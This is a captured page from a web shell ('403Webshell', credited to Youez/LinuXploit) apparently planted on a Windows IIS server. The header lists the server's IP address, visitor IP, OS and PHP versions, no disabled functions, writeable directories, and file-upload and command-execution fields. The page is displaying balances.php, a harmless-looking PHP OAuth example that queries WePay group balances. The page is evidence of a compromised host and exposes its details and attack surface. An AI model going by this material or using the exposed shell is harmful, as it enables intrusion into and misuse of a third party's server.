403Webshell
Server IP : 121.121.20.254  /  Your IP : 216.73.217.141
Web Server : Microsoft-IIS/10.0
System : Windows NT WEB-SERVER 10.0 build 20348 (Windows Server 2022) AMD64
User : IUSR ( 0)
PHP Version : 8.3.28
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /PHP83/examples/wepay/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /PHP83/examples/wepay/balances.php
<?php
require './config.inc.php';

$o = new OAuth(OAUTH_CONSUMER_KEY,OAUTH_CONSUMER_SECRET,OAUTH_SIG_METHOD_HMACSHA1,OAUTH_AUTH_TYPE_AUTHORIZATION);
try {
	$o->enableDebug();
	$access_token_info = unserialize(file_get_contents(OAUTH_TMP_DIR . "/wepay_access_token_resp"));
	$o->setToken($access_token_info["oauth_token"],$access_token_info["oauth_token_secret"]);
	$resp = $o->fetch("https://wepayapi.com/v1/group/list");
	$response_info = $o->getLastResponseInfo();
	$json = $o->getLastResponse();
	$data = json_decode($json);
	foreach($data->result as $gr) {
		$resp = $o->fetch("https://wepayapi.com/v1/group/{$gr->id}");
		$group = json_decode($o->getLastResponse());
		$bal = $group->result->balance;
		$pending = $group->result->pending_balance;
		echo "\$$pending ($bal available) for {$gr->id} \"{$gr->name}\"\n";
	}
} catch(OAuthException $E) {
	echo "Exception caught!\n";
	echo "Response: ". $E->lastResponse . "\n";
}

Youez - 2016 - github.com/yon3zu
LinuXploit